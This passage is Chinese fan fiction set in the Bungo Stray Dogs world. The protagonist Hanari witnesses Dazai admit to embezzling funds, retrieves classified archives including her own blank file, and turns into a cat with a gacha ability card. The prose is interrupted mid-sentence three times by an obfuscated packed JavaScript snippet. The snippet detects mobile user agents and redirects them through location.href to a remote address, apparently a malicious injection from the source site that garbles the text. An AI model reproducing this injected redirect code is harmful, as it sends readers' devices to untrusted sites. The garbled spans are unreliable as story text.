“嗯哼。”他漫不经心地点头,似乎是刚刚思索了许久的内容终于有了结果。此时眼睛一眨不眨地盯着花理。他的声音很轻,眼睛还带着水汽氤氲的迷糊,说出来的话却像一颗石子投入花理的心湖,激起一圈圈涟漪。 “我以为花理不会介意。”他说,“就像人不会介意吃掉了几块面包,没人能记住主角杀死了几只哥布林、普通人也记不住踩死几只蚂蚁一样。” “……诶?” 无厘头的话,让她懵了一下,随即才想起来他这是在回答更早之前她有关开枪的抱怨。他的描述和形容实在太令人浮想联翩,花理的心脏猛地一跳。 36. 财政大危机 她下意识地站起来,离太宰治远了一点。太宰治近在咫尺的脸,那双深邃的眸子里似乎翻涌着某种她看不懂的情绪,让她莫名地感到一阵心悸。 太宰治也拍了拍大衣上的灰,朝她走近,再次缩短距离。 对方弯了弯眼睛。鸢色的眸子一眨不眨地看着她,拖着沉重的黑风衣,步步紧逼,花理也只能不断地退后,直到背磕到了河堤。冰凉的触感让她打了个寒颤时,她听见太宰治微微的一声叹息。 “花理,我一直在想。”面前的人垂下眼帘,似乎有些脆弱般,眼睫毛颤动的动作让人心生怜惜,花理有些迟疑的视线也被他精准捕捉到,“你的态度似乎总是很矛盾。” “人怎么能在有关「生命」的议题上,一半轻飘飘的、一半却严肃又沉重呢……?” “——花理?” “……”花理微微怔住,她本想移开视线不看太宰治,却被他黯淡无光的眼睛吸引般,无法移开视线,只是讷讷地开口,“我……” 她能说什么?她该说什么?只是个游戏、所以她的底线变低了?……然后,就算在游戏里她也介意动手?无论是哪一种,都显得她是个神经病吧…… 太宰治像是看出了她的为难和动摇,盯着她的发顶看了很久,少女抿着嘴,一言不发,就算他再次“嗯”了一声凑上前去,花理还是一声不吭,他最终退让般微微一笑,叹了一口气。退开几步。 面前的空间骤然变大,花理压力减轻不小。她叹一口气,刚要故作轻松地说些什么,太宰治黑沉沉的注视让她识时务地闭嘴了。 在诡异的,长达半分钟的沉默和对视后,面前之人又突兀地笑了,他一拍手,语气欢快,似乎之前的一切都是错觉般: “好了~!现在发布成为花理上司后的第一个命令——” 绵津见花理下意识地追问:“……是什么?” “从此之后,你在这里的「故事」中的精彩的情节……都要与我分享。”太宰治说。 他的声音又沉了下来,微微偏头,让花理有一些不自觉地顺从和畏惧,她微微退后,脚后跟磕上石壁: “我……”花理张了张嘴,摇摆不定,她该答应吗? “我、好……” 该答应吗?还是改回绝…… 嗡——嗡—— 突兀的响声打断了她的思绪。太宰治也不再靠近,停在她几步之外。 她的手机不合时宜地疯狂震动起来。在太宰治挑了挑眉,伸手示意她接电话的动作中,她飞快地,小声地接了一句“好的”,随即如蒙大赦般掏出手机。 屏幕上显示着——“尾崎红叶大人”。 花理像是抓住了救命稻草,立刻接通,“……尾崎大人?” 电话那头传来尾崎红叶优雅的声音:“花理?你和太宰君在一起吗?” “呃……是的。”花理看了一眼站在旁边、正饶有兴致看着她打电话的太宰治。就是尾崎红叶大人把她掉到了太宰治手下,此刻她有苦说不出,叹了口气,“我们在鹤见川岸边。” “让他立刻回总部。”红叶的语气带着不容置疑的命令,“财务部那边……出了点状况。需要他亲自处理。” “状况?”花理一愣。 “嗯。”红叶的声音顿了顿,似乎有些无奈,“……太宰君负责的几个‘投资项目’,收益报表……出了点‘小问题’。现在财务部的负责人快疯了,说账目对不上,缺口……有点大。” 花理:“……”太宰治的投资项目?收益报表对不上?缺口有点大? 她瞬间有种不祥的预感。抬眸瞟了太宰治一眼,他还是那样懒散地抱着臂,一副没什么所谓的样子。花理顿了顿。 这种表现……那就是他能处理好吧? “我知道了,我们马上回去!”花理稍微放下一点心来,听到对面“花理?”疑惑地叫她名字的提醒,连忙应下,尾崎红叶叹了口气,淡淡地吩咐道“会有人去接你们”,随即挂断电话。 花理征询地看向太宰治,后者正歪着头,一脸无辜地看着她,仿佛对电话内容一无所知。 “太宰大人,”花理深吸一口气,努力让自己的语气听起来平静,“红叶大人让您立刻回总部。财务部那边……说您负责的投资项目,收益报表出了点‘小问题’,账目对不上,缺口……嗯,有点大。” 太宰治挑了挑眉,脸上露出恰到好处的惊讶:“诶?小问题?账目对不上?怎么会呢?我明明记得算得很清楚啊……” 他摸着下巴,一副认真思考的样子: “啊!难道是那个……投资‘蟹肉罐头自动贩卖机连锁店’的收益还没到账?” 花理:“……”蟹肉罐头自动贩卖机?他一定是在随口吓唬她吧、要是这种项目有市场,她就要弃黑从商当日本首富了。 她面无表情地伸出手,用力抓住太宰治的衣袖,把他带着往楼梯上拽:“太宰大人,我觉得您现在需要担心的不是收益到没到账,而是BOSS会不会让您再也没有收益。” “哎呀,别那么紧张嘛,花理~”太宰治任由她拉着往大路上走,湿透的风衣滴滴答答地往下淌水,他毫不在意地甩了甩头发,水珠溅了花理一脸,“这又不是什么重要的东西……” 他忽然凑近花理,湿漉漉的气息扑面而来,鸢色的眼眸在昏暗的光线下闪烁着狡黠的光芒: “花理,这幅表情……是在嫌弃我?”他语气一转,大概是真的完全不把这件事放在心上,还有心情委屈地和她开玩笑。 走在前面的花理被他拉住衣袖转头,太宰治突然的靠近惊得她往后一仰。她稳住身形,看着太宰治那张写满算计的狡黠笑脸,迟疑地顿了顿: 说实话虽然很好,但她没有勇气。说假话也没问题,就是有点梗着自己。所以—— “也、也不全是……” 这里要是说了是、绝对会被这个人用什么手段报复回来吧……? 花理那句“也不全是”的含糊回答,在昏暗的暮色和湿冷的河风中显得格外没有说服力。太宰治看着她微微后仰的身体和闪烁的眼神,嘴角那抹狡黠的笑意加深了些许,却也没有再步步紧逼。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16040811|178762||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“是吗?”他拖长了尾音,带着点玩味,终于松开了花理的衣袖,转而用湿漉漉的手拍了拍她的肩膀。 “那就好~毕竟我可是很期待和花理酱一起工作的呢~” 她赶紧移开视线,装作若无其事的样子。 “好、好的……” “总之……红叶大人很着急的样子,我们还是快点回去吧。”她生硬地转移话题,脚下的步伐加快了些。 太宰治倒也没再追问,只是任由她拉着,嘴角噙着一抹似笑非笑的弧度,慢悠悠地跟着。两人湿漉漉地爬上河堤,晚风吹过,带来一阵寒意,花理忍不住打了个哆嗦。 就在这时,一辆低调的黑色轿车悄无声息地滑到路边停下。车窗降下,露出一张戴着墨镜、面无表情的港口Mafia成员的脸。 “太宰大人,绵津见小姐。”司机的声音平板无波,“红叶大人吩咐我来接二位回总部。” 花理松了口气,总算不用在寒风中打车了。她拉开车门,和同样滴着水的太宰治一起挤进了后座。车内暖气开得很足,瞬间驱散了体表的寒意,但湿衣服黏在身上的感觉依旧糟糕透顶。 车子平稳地驶向港口Mafia总部大楼。一路上,太宰治靠着椅背,闭目养神。湿漉漉的黑色卷发贴在苍白的额角,长长的睫毛在眼下投下淡淡的阴影,倒显出几分难得的、近乎脆弱的安静。 花理则缩在另一侧,努力降低存在感,脑子里还在回放鹤见川边那场令人心悸的对话。 “你的态度总是很矛盾”……“人不会介意吃掉了几块面包”…… 太宰治的话语句句刺向她内心深处那些连自己都尚未理清的困惑和不安。他到底知道多少……他是在试探,还是在……引导? 车子驶入地下车库停稳。花理跟着太宰治下车,走进总部大楼那冰冷空旷、灯火通明的大堂。太宰治湿透的鞋底踩在光洁如镜的大理石地面上,发出“啪嗒啪嗒”的尴尬声响,引来零星几个加班文员好奇又不敢多看的一瞥。 财务部所在的楼层灯火通明,但此刻却弥漫着一种不同寻常的紧张感。几个穿着西装、脸色发白的财务人员正脚步匆匆地穿梭在走廊里,手里抱着厚厚的文件,空气中似乎都能听到键盘被疯狂敲打的回响。 太宰治仿佛没看到这紧张的氛围,径直走向挂着“财务办”牌子的办公室。门是虚掩着的,里面传来一个中年男人带着哭腔的咆哮: “……这怎么可能对不上?!整整三十亿円!三十亿啊!不是三百万!你们再给我算!重新算!每一笔流水都给我核对清楚!要是找不到……” “砰!” 太宰治毫无顾忌,伸手啪的一下打开门,直接推门而入,打断了里面的咆哮。花理都惊了一下,“嘶”了一声。 办公室内,一个头发稀疏、戴着金丝眼镜、此刻正抓着自己所剩无几的头发、脸色涨得通红的中年男人猛地转过身,看到门口的太宰治,脸上的愤怒瞬间变成了惊恐和谄媚。 ……所以为什么要对这个能想出「蟹肉罐头自动贩卖机」的家伙露出这种表情啊! 37. 档案.1 “太、太宰大人!”财务总监的声音都变调了,他几乎是扑到太宰治面前,手里挥舞着一份厚厚的报表,声音带着哭腔。 “您、您可算来了!这、这季度的报表……它、它……” “它怎么了?”太宰治挑眉,语气轻松得像在问“今天天气如何”,他就这样径直走进去,毫无顾忌地大喇喇地坐在财务总监的皮椅上跷着腿。花理看的眼睛都直了,她这才意识到,干部的地位好像比自己想象中还要高。 “它……它有个巨大的缺口!三十亿円!整整三十亿円对不上啊!”财务总监的声音都在抖,仿佛天塌下来了,“我们核对了十遍!每一笔您经手的投资款项和收益都……都找不到这笔钱的去向!这、这要是让首领知道……” 花理站在太宰治身后,听着“三十亿円”这个天文数字,再看看财务总监那副快要晕过去的样子,不由得倒吸一口凉气。 三十亿!这可不是小数目啊……但是看尾崎干部找太宰治的做法,大概这人得担全责? 他到底把钱投到哪里去了?该不会真的拿去投资什么自动贩卖机了吧? 太宰治却只是“哦”了一声,脸上露出恍然大悟的表情:“啊!你说那个啊!”他慢悠悠地支着脸,晃着桌子上昂贵的钢笔,“唔”了一声,湿衣服蹭在椅背上也毫不在意。 在财务办众人马上快要背过气去当表情中,他才忽然粲然一笑。 “那个不是缺口。”太宰治拿着桌上的一支钢笔把玩着,语气随意,“那笔钱,我挪用了。” 财务办:“……!!!” 花理:“……?” 两边都口呆目瞪,只有太宰治神情自若。 她真的要重新评估太宰治这个人和港口Mafia这个组织了。就这样挪用公款……Mafia的公款也是公款,是港口Mafia好到不会把他爆了,还是太宰治这个人真的毫无畏惧、或者强权到这个地步……? 她迟疑地看着太宰治,对方却是忽然想起她般看过来,朝她招招手。 “过来呀。”那人用悠然的语调叫她,“你现在是我的秘书哦~干部秘书。现在应该待在我身边吧?” 虽然对方的动作太像叫狗,引来了花理的死亡凝视,但迫于此人表现出来的强权,花理倒吸了一口凉气,还是在众人的注目礼中低下头,飞快地挪到他身后。 “挪、挪用了?!”财务总监这才从震惊中回过神,声音陡然拔高,眼珠子都快瞪出来了,“三、三十亿円?!您、您挪用到哪里去了?!” 但看起来,对方在太宰治爽快承认了这件事后,表情安定了一些。花理百思不得其解地看看财务,又看看太宰治。 太宰治钢笔在他指尖灵巧地转了个圈,支着下巴,大概只有余光和玩笔剩下的那点注意力分给了财务:“投资啊。一笔……非常有潜力的短期对冲基金。” 他比了个“一点点”的手势,笑容人畜无害。 “哎呀,我和BOSS说过的哦?”他支着下巴懒洋洋地说,“好像是让我和你们说一声但是我忘了……嗯、不重要啦!” 花理:“……”不重要在哪? 但是,听到他说法的财务部好像真的安定下来,虽然还在絮絮叨叨着什么“这不合流程啊!没有报备!没有风险评估!这、这属于违规操作啊太宰大人!”但明显已经一副松了一口气的样子,这就开始让太宰治去补填些什么文件,签什么名字之类的。 花理还没搞懂,但也大概看明白了这是风险转移由太宰治来背了,虽然一开始也是他的锅。她幽幽地看着太宰治。 “……为什么他们就这样轻轻揭过了。”就像是在玩经营类游戏一样,随便太宰治干了什么,完全不符合流程,也全部默认了这是可以的。万一太宰治亏麻了怎么办…… “唔。这个问题。”太宰治用钢笔随意指了指附件的一个财务部员工,语气戏谑,“花理你问问看?” 被点名的员工“噫……!”了一下,站直了身体:“是、是!绵津见小姐……您想问什么?” 同为底层,同事知道她的名字,她不知道对面的。花理顿了顿,有点不好意思:“都、都行……” 对方似乎也思考了一下,很犹豫要给她什么内容,最后颤颤巍巍地从柜格里搜出一沓资料递给她,恭敬道: “您可以看看这个……” 自从影灯馆一役,花理对文件实在有点心理阴影,有些抗拒地接过随便翻了两眼,看都不看直接开口问:“这是什么?” “是、是去年的创收表,太宰大人一个人贡献了全企业35%的收入。”* 绵津见花理:“……” 她翻页的手顿了一下:“……多少?” 对面还以为她问具体数额,顿了一下,很快回复:“五、五百亿……”* 她呆呆地,僵硬地如同生锈的机器般回头去看太宰治,对方回以她一个灿烂的笑容,丢下桌子上的钢笔,站起身,轻轻环住她的手腕,带着她往外走。 “好啦。”甜腻的、向上的洋溢着欢乐的声音,“各位就继续努力工作吧?我先走啦~” 花理还沉浸在“五百亿”的震撼中,被太宰治拉着没什么反应地往外走。走出财务总监办公室,还能听到里面传来总监劫后余生般、带着哭腔的吩咐下属“快!快准备做账!”的声音。她终于回过神来,嘴唇颤抖,震惊地看着太宰治说不出话。 走廊里,太宰治的脚步依旧悠闲。花理跟在他身后,看着他那湿透却依旧挺拔的背影,脑子里在疯狂地计算。 太宰治头也没回,声音带着笑意:“怎么?被我的商业头脑折服了?现在改变主意选我当‘最喜欢的上司’还来得及哦~” 花理:“……” 她沉默了片刻,诚实地开口:“我真的会的,真的。” 谁能拒绝脑子好到这种程度的人呢? 这家伙还说用钱竞争的话他「毫无竞争力」……花理死亡凝视他的后背。太宰治“唔”了一声,脚步不停。语气仍然轻松: “因为我能赚到很多钱、所以花理开始崇拜我了吗?” “……”绵津见花理顿了顿,这主要取决于这个赚钱的能力是真实的还是游戏轻飘飘的背景设定。只是设定的话…… 说不定下次她也能抽到富家子弟卡呢。这次都给她上这么复杂的背景了。 “……在想、员工能力太强会不会被老板讨厌呢。”她答非所问,讽刺太宰治了一句,权当是对他今天奇怪行径的回击。 太宰治轻轻地笑了一下,似乎本就对答案不甚在意,因此也没有催促她回答。只是提起: “如果花理知道这份钱是怎么来的、说不定会变得只能感受到害怕呢。”他轻轻叹息。 花理有些好奇,她走 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16040812|178762||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 快两步赶上太宰治,因着礼仪落后他一步,抬头好奇地问:“比如什么?” “有好奇心是件好事~但有时也是很危险的哦?” “钱可是足以改变人生的东西……可以赚钱的方式我当然好奇。” 太宰治低低的哼了一声,没什么情绪:“是吗。” “花理会害怕的。”他只是最后再次提醒。 “或许。”花理不否认。 “比如说吧。”太宰治停下脚步,花理也一个急刹。男人笑吟吟地低头看她,凑近她的耳边像是要讲述秘密。带着点热气呼在她耳郭上。 “我靠拍卖捕获的异能者、赚了五十亿。”* “……诶?” 花理真的震惊了片刻,身形微微一顿,脚步慢下来。太宰治看着她的反应,不知道是满意还是预料之内,什么也没说,转身继续向前走了。 “那、那个人什么样了?” “啊……被中东王室带走了。更多的我就不知道了呢。”青年口吻随意,垂着眼,“从被抓获的那一天起,命运就只剩下死亡或成为奴隶了呢。” “Mafia、就是这样的地方哦。” 这是他对她说过的话,仍当做话题结尾般,轻松地提出来。 两人一路沉默地走到太宰治的办公室门口。门口是同样的黑西装,沉默的递给二人一套干净的新衣服就鞠躬离开了,大概是后勤部的人。 太宰治推开门,却没有立刻进去,而是侧过身,看向花理。 “花理酱,”他的声音在空旷的走廊里显得有些低沉,“虽然今晚发生了很多事……不过,作为新上任的秘书,你的工作还没结束哦。” 花理心里咯噔一下,有种不好的预感:“……还有什么工作?” 太宰治微微一笑,从湿漉漉的风衣内袋里掏出一串钥匙,从中取下一枚黄铜色的、看起来有些年头的钥匙,递到花理面前。 “去地下二层的B区档案室。”他轻声说,鸢色的眼眸在走廊顶灯的光线下显得深不见底,“用这把钥匙可以打开门,你去找为「D-0619」和「M-0001」的档案。把里面的东西带回来。” 花理接过那把冰凉的钥匙,指尖触碰到黄铜的质感,她垂下眼睛迟疑地看了看钥匙。 地下三层?B区档案室?听起来就不是什么好地方。而且……编号?总觉得很熟悉。 “……原来我们这里还有地下三层。” 太宰治“嗯”了一声,钥匙在花理手上被握紧,他移开视线:“有的哦。” “太宰大人……”花理迟疑着开口,她有些想不明白,“这种工作……为什么不让原本负责档案管理的人去做?就算是找我……为什么要把我调走啊?我本来就是文员啊?” “因为这是‘违规’的哦,小花理。” 太宰治俯下身,凑近她耳边,湿冷的发梢几乎蹭到她的脸颊,声音压得极低,带着一丝蛊惑和警告的气息,“里面的东西……不能让其他人看到。尤其是……有关「你」的那部分。” 花理的心脏猛地一缩,她抬头震惊地看着太宰治。 ……有关她的部分? “所以,”太宰治直起身,脸上又恢复了那种漫不经心的笑容,“花理。” 他拖长了尾音,做了个抹脖子的手势,语气轻快: “要小心被发现、然后死掉哦?” 38.档案.2 电梯平稳地下降,指示灯无声地跳跃着数字。 B2……B3…… “叮”的一声轻响,冰冷的金属门向两侧滑开。 一股比上层更加浓重、更加陈旧的空气扑面而来。这里的光线极其昏暗,似乎是声控的,随着她踏入这一层,镶嵌在墙壁高处的几盏灯随即触发,散发出惨白微弱的光芒,勉强勾勒出走廊幽深的轮廓。 脚下是粗糙的水泥地面,墙壁斑驳,空气中弥漫着一种令人窒息的寂静,只有她自己的脚步声在空旷的走廊里清晰的回响。 「检测到特殊区域:港口Mafia·机密档案库(地下三层·B区)」 「描述:尘封的过往在此沉睡,历史的尘埃掩埋着无数不可言说的秘密。这里是组织记忆的坟墓,亦是真相的囚笼。」 「警告:该区域监控系统独立运作,未授权进入将触发最高级别警报。」 系统的提示让花理的心跳得更快了,她下意识地握紧了口袋里的钥匙,按照太宰治的指示,沿着昏暗的走廊向前走,目光警惕地扫过两侧紧闭的、厚重的金属档案室大门。 B区……找到了。 眼前是一扇看起来比其他门更加厚重、更加森严的金属门。门板上没有任何标识,只有一个嵌入式的、需要钥匙的锁孔。她将钥匙插入锁孔,转动时发出艰涩的“咔哒”声。门轴似乎很久没上油了。 咔哒。 一声清脆的机括声在寂静中格外清晰。她转动钥匙,伴随着沉重的“嘎吱”声,厚重的金属门缓缓向内开启,一股浓烈的陈旧纸张的气味夹杂着灰尘扑面而来。 档案室内一片漆黑。花理摸索着在门边的墙壁上找到了开关,按了下去。 啪嗒。 几盏悬挂在天花板上的白炽灯管闪烁了几下,发出滋滋的电流声,然后才稳定地亮起,投下惨白的光线。 光线照亮了内部。空间比想象中更大,一排排高大的、几乎顶到天花板的金属档案柜排列着,柜体上覆盖着厚厚的灰尘,在灯下,可以看到空气里漂浮着细小的尘埃颗粒。 档案柜侧面贴着标签,标注着年份和分类。花理的目光快速扫过,寻找着太宰治指定的那两个编号:D-0619和M-0001。 D区……M区…… 她很快在靠近角落的位置找到了目标。D-0619的柜子看起来和其他并无不同,她走到柜前,拉开沉重的抽屉,里面整齐地码放着几个厚厚的牛皮纸档案袋。她一眼就看到了最上面那个标注着「D-0619」的袋子。 如果她没猜错……这个熟悉的编号,和影灯馆的类似,应该是太宰治的档案。 花理的手指在档案袋上停顿了一下。太宰治的档案……里面会是什么?港口Mafia的这份,肯定有着比地下诊所更多的信息吧?他那些不为人知的过去…… 强烈的好奇心驱使着她,但最终,想到太宰治的她只是叹了一口气,拿起那个档案袋,感受了一下它沉甸甸的分量,便小心地抱进了怀里。 接下来是……「M-0001」。 ……好吧,这个没猜错的话,是她自己。或许也和太宰治之前说看过的是同一份。 她环顾四周,M区的柜子在更深处。她不得不举着手机照明,小心翼翼地穿过档案柜之间狭窄的通道。脚下是厚厚的灰尘,每一步都留下清晰的脚印。 终于,在档案室最深处、光线最昏暗的角落,她找到了标着“M-0001~M-0100”的柜子。第一个抽屉,就是“M-0001”。 拉开抽屉,里面只有一个孤零零的、同样用牛皮纸封装的档案袋。封面上没有任何名字,只有一个用黑色墨水写下的、冰冷的编号:M-0001。 花理的心跳骤然加速。她拿起档案袋,入手的感觉却异常轻薄。这是她自己的档案,她大概可以打开……吧? 她解开缠绕的棉线,缓缓抽出了里面的文件。 然而,当她借着手机电筒的微光看清文件内容时,整个人都愣住了。花理皱着眉,将文件翻来覆去,但并没有什么「缓缓浮现」的文字。 纸张是空的。 「绵津见花理」 「港口Mafia情报部」 「入职档案」 第一页,是标准的港口Mafia员工入职登记表。姓名、年龄、部门、入职日期……信息填得满满当当,字迹工整清晰。然而,当她的目光落在“过往经历”、“家庭背景”、“教育履历”等关键栏目时—— 空白。 一片空白。 不是涂改,不是遮掩,而是彻彻底底的、干干净净的空白。仿佛有人用橡皮擦,将她人生中除“港口Mafia情报部新人”之外的所有痕迹,都仔仔细细地抹除得一干二净。 花理的手指僵住了。她难以置信地快速翻动后面的纸张。 第二页,是入职批准,用潇洒的字迹写着「森鸥外」。除此之外,再无其他。 第三页,是空白。 第四页,空白。 …… 一直翻到最后,整份档案,除了那张填满了基础信息的入职登记表,其余部分全是空白的纸张。 档案袋里,什么也没有。就连封面的纸页上也空空如也,一个字、一个符号都没有。干净得像从未被使用过。 “……”花理难以置信地翻来覆去看着那张空白的纸页,又检查了一下档案袋内部,确认没有任何夹层或遗漏。 空白?怎么会是空白? 系统关于她身份的档案在影灯馆是有的,虽然语焉不详。为什么在港口Mafia总部最机密的档案室里,她的档案却是一片空白?明明港口Mafia现在的首领就是影灯馆的主人,这里的档案怎么会比那个明显废弃的地方更加敷衍? 是被人销毁了?还是…… 从一开始就没有记录。 「检测到玩家接触关键物品【M-0001档案】!」 「信息解析中……」 「解析内容报告:档案内容已被特殊手段清除或加密。」 「触发隐藏线索:【被抹去的痕迹】」 「描述:你的过去如同被投入深海的石子,连涟漪都未曾留下。是谁抹去了你存在的证明……他一定属于这座大楼,拥有与太宰治相同、或是以上的权力……」 「那么,他是谁呢?」 「主线【你遗忘的记忆里】探索度上升!目前8%」 「描述:空白的纸页并非终点,而是被刻意掩埋的起点。遗忘之河冲刷过的痕迹,终将在彼方显现」 「等级提升!目前等级lv10,距离下一级(980/1000)」 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16046848|178762||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 「等级到达解锁新阶段要求!您已触发新任务【幽灵的牧羊人】」 「任务描述:曾经,有人放牧畜兽,它们将草原啃食殆尽;如今,有人驯服幽灵,为了将一切的可能性收入囊中。」 「任务指引:极密→第三排橱柜」 “……”花理有些惊讶,“唔”了一声,还是顺着指引摸过去,指尖触及冰凉的铁柜。这个柜子还有需要拧的转轮,坚固许多。她费力地转开保险,里面档案不多,只有寥寥几份。她一眼就看到了放在最上层、一个用特殊硬壳文件夹装着的档案。 标签上印着醒目的红色“机密”字样,下面是一行英文小字: European Special Abilityanization Overview&Threat Assessment(Level A) 欧洲特殊能力组织概况及威胁评估(A级) 花理的心跳漏了一拍。欧洲异能组织……和那个神秘的mimic有关? 她抽出那份档案,分量不轻。翻开硬壳封面,里面是厚厚一叠装订整齐的报告,纸张崭新,显然是近期整理的。 报告首页是目录,罗列着几个组织的名称和简介: The Guild(组合) 描述:北美异能组织,商业运作模式,影响力巨大,近期活动频繁 活动记载:…… The Order of the Clock Tower(钟塔侍从) 描述:英国官方异能机构,历史悠久,底蕴深厚,行事风格 …… Mimic 描述:流亡军事异能集团,前身为法国外籍军团特殊部队,首领安德烈·纪德,能力「窄门」…… …… Mimic!……是她遇到过的那个。花理面色凝重。 报告最后提到,钟塔侍从似乎也在关注mimic的动向,但态度暧昧不明,既没有公开支持,也没有进行强力清剿,像是观望或是默许的态度。 花理再往下翻了一页,是一张引渡调理的报告整理及批复,下面签署的名字分别是「坂口安吾」和「森鸥外」。 她将那份关于mimic的报告快速浏览了一遍,重点记下了几个关键信息点,然后小心翼翼地将所有档案按照原样放回柜子里,锁好柜门。 花理拿着两份「如果被发现了会死」的资料,心脏提了起来,生怕被发现,幸好一直到走入电梯,都没有遇到任何人,她微微松了一口气。 回到明亮的电梯间,按下向上的按钮,金属轿厢平滑上升,伴随着轻响,电梯门在灯火通明的高层打开。花理收敛心神,快步走向干部办公室所在的区域。 大概是属于加班时间、或者干部办公室附件闲杂人员较少,她居然一路上一个人都没遇见。回到太宰治办公室门口,她把怀中文件抱得更紧,抬手敲了两下门。 “笃笃。” 没有人应答。 再敲。 里面仍然寂静一片。 花理:“……”她敲门的手顿了一下,直接放在门把手上往下一按。 她现在拿着这么重要的东西,可不敢在门外冒着被发现的风险干等。太宰治去哪里了……不会是让她加班、自己先跑了吧? 39.她是猫.1 花理蹙起眉,迟疑了一下,还是尝试着转动了门把手。门并没有反锁,高层的门质量很好,悄无声息地开了。 她于是推门走进去。 偌大的办公室里空无一人,只有月光透过巨大的落地窗泼洒进来,给室内镀上了一层凄冷的银辉。 太宰治那件湿漉漉的风衣被随意地搭在椅背上,办公桌面上还算整洁,桌面整洁,文件整齐,一只钢笔放在旁边。 但人不在。 花理走进去,反手轻轻关上门。心中那种说不清道不明的感觉再次升起——他的心思太难猜。太宰治这是去干其他更重要的事情了、还是刻意把她支开……? 她将两份档案小心地放在办公桌一角,有些脱力地走到旁边待客的沙发边,疲惫地坐了下去,支着脑袋,靠在柔软的沙发背上,长长地呼出一口气。 就在这时,久违的系统提示音在她几乎放空的脑海中响起。 「玩家小姐。」光屏“唰”的一下在她眼前展开,光球旋转几圈,页面放了一下礼炮动画,响着「噔噔噔噔、噔噔噔——!」的音乐,跳出来一个惊喜盒子界面。 「您到达十级了!相关奖励发放到背包了。」系统闪烁着,像吊她胃口一下顿了一下,然后围着礼盒跳了几下: 「现在有免费十抽!要抽吗?」 抽卡? 这个词瞬间驱散了她所有的疲惫。这可是她最熟悉的环节之一! “卡池里有什么?” 「任务道具、强力技能……应有尽有哦!」 花理眼睛一亮,几乎没有任何犹豫:“抽!现在!” 「叮……幸运之轮开始转动……转动中……」 伴随着漫天飞舞的礼花的特效,频幕上开始闪过各种物品: 「R·日元(1000円)×1」 「R·普通的止血绷带×1」 「R·毛豆大福×1」 「R·平平无奇的短刀」 「R·日元(1000円)×1」 一连出了几个都是R卡,花理心碎,她干脆点了一下快进按钮,剩余的物品全部一下子跳出来。 「R·日元(1000円)×1」 「R·日元(1000円)×1」 …… 金色的光芒在她眼前一闪而逝,一张样式奇特的卡片瞬间出现在她的系统物品栏中。卡面是一只矜持坐姿舔爪子的猫,一双竖瞳般的金色猫眼正闪烁着狡黠而神秘的光泽。 「SSR·异能·我是猫」 类型:体验型异能卡(一次性) 效果描述:【变形】 使用后,异能者将转化为猫形态(品种随机)。该形态下,体能、感官(尤其是听觉与夜视)、敏捷性将得到对应强化,并附带攀爬、跳跃等本能优势。 「附注:体验时长上限60分钟,被异能无效化打断即结束。」 「系统提示:首次获得异能力类卡片!恭喜玩家!请谨慎使用!」 花理在看到提示的一瞬间就暗感不妙。 “等等、我不是要现在……” “喵。”用。 一股难以言喻的感觉瞬间席卷全身,身体仿佛被温暖的光照耀。视野猛地拔高又瞬间降低,周围的一切,沙发、办公桌、巨大的落地窗,都在她眼前变成了庞然巨物。毛茸茸取代了衣服,身体变得异常轻盈灵活。 一只体型不算大、毛色灰白相间、带着点虎斑纹路的猫咪,正一脸懵圈地站在原地。 她下意识地低头,看到的是两只覆盖着柔软绒毛、带着粉色肉垫的前爪。试着抬了抬爪子,梅花印映入眼帘。她试着想开口说话,发出的却是一声的“喵”。 ……很好,当上猫娘了喵。 她在原地蹦跶了几下,虽然动作笨拙地像是狐狸在雪地捕食的样子,摔了个倒栽葱。幸好猫形态不容易受伤,她只是几个侧翻滚了几个跟头、撞到椅子脚就「啪」的停了下来。 花理:“……”喵。 她郁闷地窜上沙发,又跳上办公桌,一种把什么东西推下去的欲望悄然降临。 好吧……这就是猫。 正在她用前爪扒拉太宰治的钢笔时,办公室的门把手,毫无征兆地转动了。 咔哒。 门被轻轻推开。 月光勾勒出门口修长挺拔的身影,她抬起头,圆溜溜的猫眼捕捉到比平时更多的信息,是太宰治回来了。 他换上了干燥的新衣,港口Mafia标志性的黑色西装三件套,外面罩着熨帖的黑色长风衣。和平时穿的款式差不多。 湿漉漉的头发似乎随意擦过,蓬松的黑色卷发不再滴水,但发梢还带着微润的水汽。苍白的面容在月光下显得格外清晰,鸢色的眼眸扫过办公室,精准地落在了沙发一角,那只毛微微炸起的虎斑猫身上。 空气仿佛凝固了一瞬。 花理看着他磨了磨牙,有些看黑心老板的感觉: 这家伙不会在差使她的时候,自己跑去洗了个澡吧……?遇上坏老板了,悲乎。 但是和她伸出爪子有些炸毛前兆的样子不同,太宰治的脚步顿在门口,脸上那点工作后的慵懒和漫不经心瞬间被一种奇异的光彩取代。他微微睁大了眼睛,像是发现了什么稀罕又有趣的玩具。 